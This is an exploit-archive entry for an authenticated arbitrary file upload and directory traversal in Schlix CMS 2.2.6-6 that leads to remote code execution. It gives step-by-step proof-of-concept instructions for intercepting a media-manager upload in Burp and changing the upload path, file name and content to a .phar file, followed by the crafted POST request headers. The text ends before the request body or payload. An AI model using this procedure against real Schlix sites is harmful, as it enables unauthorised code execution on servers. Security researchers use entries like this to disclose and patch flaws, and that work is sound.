发布 2021-05-24 漏洞条目

Schlix CMS 2.2.6-6 – Arbitary File Upload (Authenticated)

Exploit Source

# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)

# Date: 21.05.2021

# Exploit Author: Emir Polat

# Vendor Homepage: https://www.schlix.com/

# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html

# Version: 2.2.6-6

# Tested On: Ubuntu 20.04 (Firefox)

############################################################################################################

Summary: An authorized user can upload a file with a .phar extension

to a path of his choice and control the content as he wishes. This causes RCE vulnerability.

For full technical details and source code analysis:

https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.

############################################################################################################

PoC:

1-) Login to admin panel with true credentials and go to "Tools ->

Mediamanager" menu from left side.

2-) Click the "Upload File" and upload a file and catch the request with Burp.

3-) Change the "uploadstartpath", "filename" and file content as follows.

# Request

POST /schlix/admin/app/core.mediamanager?&ajax=1&action=upload HTTP/1.1

Host: vulnerable-server

Content-Length: 846

X-Schlix-Ajax: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Content-Type: multipart/form-data;

boundary=----WebKitFormBoundarybllOFLruz1WAs7K2

Accept: */*

Origin: http:// <http://10.211.55.4/>vulnerable-server

Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager

<http://10.211.55.4/schlix/admin/app/core.mediamanager>

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;

schlix-your-cookie;__atuvc=5%7C20;

schlix_frontendedit_control_showblock=-2;

schlix_frontendedit_control_showhide=-2;

schlix_frontendedit_control_showdoc=-2

Connection: close